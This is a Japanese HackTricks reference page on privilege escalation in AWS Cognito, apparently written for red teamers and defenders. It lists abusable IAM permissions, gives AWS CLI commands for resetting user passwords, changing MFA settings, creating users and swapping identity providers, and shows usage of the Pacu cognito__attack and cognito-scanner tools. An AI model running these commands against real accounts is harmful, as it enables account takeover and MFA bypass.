AWS - Cognito Privesc

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Cognito

Cognitoに関する詳細情報は次をチェックしてください:

pageAWS - Cognito Enum

Identity Poolから資格情報を収集

Cognitoは認証済みおよび未認証ユーザーIAMロール資格情報を付与できるため、アプリケーションのIdentity Pool ID(アプリケーションにハードコーディングされているはず)を特定すると、新しい資格情報を取得し、したがってprivesc(おそらく以前は資格情報を持っていなかったAWSアカウント内で)できます。

詳細についてはこのページをチェックしてください

潜在的な影響: 認証されていないユーザーに関連付けられたサービスロールへの直接privesc(おそらく認証されたユーザーに関連付けられたものも)。

cognito-identity:SetIdentityPoolRolesiam:PassRole

この権限を使用すると、Cognitoアプリの認証済み/未認証ユーザーに任意のCognitoロールを付与できます。

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ole

cognito-identity:update-identity-pool

この権限を持つ攻撃者は、例えば、自分が制御するCognitoユーザープールや、他のどんなアイデンティティプロバイダーにも設定できます。そこで、そのユーザープロバイダーにログインするだけで、Identity Poolで構成された認証済みロールにアクセスできるようになります。

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

この権限を悪用して基本認証を許可することも可能です:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

潜在的影響: アイデンティティプール内で構成された認証済みIAMロールが侵害される可能性があります。

cognito-idp:AdminAddUserToGroup

この権限は、CognitoユーザーをCognitoグループに追加することを許可します。したがって、攻撃者はこの権限を悪用して、自分の管理下のユーザーをより優れた特権や異なるIAMロールを持つ他のグループに追加することができます。

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

潜在的影響: 他のCognitoグループやユーザープールグループにアタッチされたIAMロールへの権限昇格。

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

これらの権限を持つ攻撃者は、すべてのIAMロールを作成/更新し、侵害されたCognito Identity Providerで使用できるIAMロールを持つ侵害されたユーザーをグループの一部として作成することができ、これにより、これらのロールにアクセスできます:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

潜在的影響: 他のCognito IAMロールへの権限昇格。

cognito-idp:AdminConfirmSignUp

この権限はサインアップを確認することを可能にします。デフォルトでは誰でもCognitoアプリケーションにサインインできますが、これが残されている場合、ユーザーは任意のデータでアカウントを作成し、この権限で確認できます。

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

潜在的影響: 新しいユーザーを登録できる場合、認証済みユーザーのアイデンティティプールIAMロールへの間接的な昇格が可能になります。 任意のアカウントを確認できることで、他のアプリ機能への間接的な昇格が可能になります。

cognito-idp:AdminCreateUser

この権限を持つと、攻撃者はユーザープール内に新しいユーザーを作成できます。 新しいユーザーは有効な状態で作成されますが、パスワードを変更する必要があります。

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

潜在的影響: 認証済みユーザーのアイデンティティプールIAMロールへの直接的な権限昇格。任意のユーザーを作成できるため、他のアプリ機能への間接的な権限昇格も可能です。

cognito-idp:AdminEnableUser

この権限は、無効になっているユーザーの資格情報を見つけた攻撃者が、そのユーザーを再度有効にする必要がある非常に特殊なケースで役立ちます。

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

潜在的影響: 認証済みユーザーのアイデンティティプールIAMロールへの間接的な昇格と、攻撃者が無効化されたユーザーの資格情報を持っている場合のユーザーの権限への昇格。

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

この権限は、ADMIN_USER_PASSWORD_AUTHメソッド**を使用してログインすることを可能にします。**詳細についてはリンクを参照してください。

cognito-idp:AdminSetUserPassword

この権限により、攻撃者は任意のユーザーのパスワードを変更できるようになり、MFAが有効にされていないユーザーをなりすませることができます。

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

潜在的影響: 潜在的に任意のユーザーへの直接権限昇格が可能であり、各ユーザーが所属するすべてのグループへのアクセスおよびIdentity Pool認証済みIAMロールへのアクセスが可能となります。

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: 攻撃者は、この権限を悪用して、自分がコントロールする携帯電話をユーザーのSMS MFAとして設定する可能性があります。

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: 前述のものと同様に、この権限はユーザーのMFA設定を変更してMFA保護をバイパスするために使用できます。

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: 前述のものと同様に、この権限はユーザープールのMFA設定を変更してMFA保護をバイパスするために使用できます。

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: ユーザープールを更新してMFAポリシーを変更することも可能です。こちらのcliを確認してください

潜在的影響: 攻撃者が資格情報を知っている任意のユーザーに間接的な権限昇格が可能で、これによりMFA保護をバイパスすることができる可能性があります。

cognito-idp:AdminUpdateUserAttributes

この権限を持つ攻撃者は、自分の管理下のユーザーのメールアドレスや電話番号、その他の属性を変更して、基盤となるアプリケーションでより多くの特権を取得しようとすることができます。 これにより、メールアドレスや電話番号を変更して検証済みと設定することができます。

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

潜在的影響: Cognitoユーザープールを使用して特権を与えるアプリケーション内での潜在的な間接的な特権昇格。

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

この権限を持つ攻撃者は、既存のプールクライアントよりも制限の少ない新しいユーザープールクライアントを作成できます。たとえば、新しいクライアントは、任意の認証方法を許可し、秘密を持たず、トークンの取り消しを無効にし、トークンの有効期間を延長することができます。

同じことが、新しいクライアントを作成する代わりに、既存のクライアントを変更することで行うこともできます。

コマンドライン(または更新コマンド)では、すべてのオプションを確認できます。

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

潜在的影響: ユーザープールによって使用される Identity Pool の認可ユーザーへの潜在的な間接的な昇格を、セキュリティ対策を緩和する新しいクライアントを作成することで可能にし、攻撃者が作成できたユーザーでログインできるようにします。

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

この権限を悪用すると、攻撃者は新しいユーザーを CSV でアップロードして作成できます。

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

潜在的影響: 認証済みユーザーのアイデンティティプールIAMロールへの直接的な特権昇格。任意のユーザーを作成できるため、他のアプリ機能への間接的な特権昇格も可能です。

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

攻撃者は新しいアイデンティティプロバイダーを作成し、その後このプロバイダーを通じてログインすることができます。

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

潜在的影響: 認証済みユーザーのアイデンティティプールIAMロールへの直接の権限昇格。任意のユーザーを作成できるため、他のアプリ機能への間接的な権限昇格。

cognito-sync:* 分析

これはCognito Identity Poolsのロールにデフォルトで設定されている非常に一般的な権限です。許可にワイルドカードが含まれていると、(特にAWSから来ている場合は)常に悪い印象を与えますが、攻撃者の視点から見ると、与えられた権限はあまり有用ではありません

この権限により、Identity PoolsおよびIdentity Pools内のIdentity IDのユーザー情報を読み取ることができます(これは機密情報ではありません)。 Identity IDには、それに割り当てられたDatasetsがあり、これはセッションの情報(AWSではセーブデータと定義されています)。これには機密情報が含まれている可能性がありますが、確率は非常に低いです。この情報にアクセスする方法については、列挙ページで確認できます。

攻撃者は、これらの権限を使用して、これらのデータセットに変更を公開するCognitoストリームに自分自身を登録したり、Cognitoイベントでトリガーされるlambdaに登録することもできます。これが使用された例は見たことがありませんし、ここに機密情報が含まれていることを期待するべきではありませんが、不可能ではありません。

自動ツール

  • Pacu、AWSの攻撃フレームワークには、現在、アカウント内のすべてのCognitoアセットの列挙を自動化し、弱い構成、アクセス制御に使用されるユーザー属性などを特定し、MFAサポートを含むユーザーの作成、変更可能なカスタム属性に基づく権限昇格、使用可能なアイデンティティプール資格情報、IDトークン内の仮定可能なロールなどを自動化する「cognito__enum」と「cognito__attack」モジュールが含まれています。

モジュールの機能の説明については、ブログ記事の第2部を参照してください。インストール手順については、メインのPacuページをご覧ください。

使用方法

指定されたアイデンティティプールとユーザープールクライアントに対してユーザー作成を試行し、すべての権限昇格ベクトルに対するサンプルcognito__attackの使用例:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
現在のAWSアカウントで表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集するためのcognito\_\_enumのサンプル使用法:
Pacu (new:test) > run cognito__enum
  • Cognito Scannerは、Cognitoにさまざまな攻撃を実装したPythonのCLIツールであり、privescエスカレーションも含まれています。

インストール

$ pip install cognito-scanner

使用法

$ cognito-scanner --help

詳細についてはhttps://github.com/padok-team/cognito-scannerをチェックしてください。

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

最終更新